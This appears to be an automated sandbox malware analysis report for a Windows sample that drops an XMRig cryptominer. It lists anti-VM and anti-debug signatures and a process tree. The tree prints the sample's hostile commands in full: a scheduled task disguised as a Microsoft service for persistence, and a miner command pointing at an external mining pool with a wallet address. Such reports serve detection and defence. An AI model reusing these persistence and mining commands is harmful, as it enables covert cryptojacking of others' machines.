Analysis

  • max time kernel
    150s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    23/02/2021, 08:46

General

  • Target
    SecuriteInfo.com.Variant.Zusy.368685.25618.6070.exe
  • Size 2.6MB
  • Sample210223-24p82e6m2e
  • SHA256 8291db6ed7f2be2e014d6ad586a2fa2021c6f59334416e1042ed88edea137d0b
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Detected Stratum cryptominer command

    Looks to be attempting to contact Stratum mining pool.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Loads dropped DLL 1 IoCs
  • themida 4 IoCs

    Detects Themida, Advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Zusy.368685.25618.6070.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Variant.Zusy.368685.25618.6070.exe"
    1⤵
    • Checks BIOS information in registry
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f
      2⤵
      • Creates scheduled task(s)
      PID:1632
    • C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe
      "C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 86LLU8UNnfBa4iC8YD4QVkZ6ugHRr6zdnfNE84LiyC9DdZtrc2UW5qnRPKcf9E68Wh2syN7zLiN8GEzT1S6PfZsiNuM8Q5j./ --donate-level=1
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1800
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {484FA1AE-9F4A-4A59-B264-C1F3DFE6A577} S-1-5-21-293278959-2699126792-324916226-1000:TUICJFPF\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1792
    • C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe
      C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe
      2⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f
        3⤵
        • Creates scheduled task(s)
        PID:1636
      • C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe
        "C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 86LLU8UNnfBa4iC8YD4QVkZ6ugHRr6zdnfNE84LiyC9DdZtrc2UW5qnRPKcf9E68Wh2syN7zLiN8GEzT1S6PfZsiNuM8Q5j./ --donate-level=1
        3⤵
        • Executes dropped EXE
        PID:1012

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1060-21-0x0000000074480000-0x0000000074B6E000-memory.dmp

        memory/1060-24-0x00000000053D0000-0x00000000053D1000-memory.dmp

        memory/1060-22-0x00000000010F0000-0x00000000010F1000-memory.dmp

        memory/1340-8-0x00000000056B0000-0x00000000056B1000-memory.dmp

        memory/1340-2-0x0000000076691000-0x0000000076693000-memory.dmp

        memory/1340-5-0x0000000001050000-0x0000000001051000-memory.dmp

        memory/1340-4-0x0000000074480000-0x0000000074B6E000-memory.dmp

        memory/1800-15-0x00000000006B0000-0x00000000006D0000-memory.dmp

        memory/1800-14-0x0000000000690000-0x00000000006B0000-memory.dmp

        memory/1800-13-0x000000013F2E0000-0x0000000140498000-memory.dmp

        memory/1800-12-0x00000000002F0000-0x0000000000304000-memory.dmp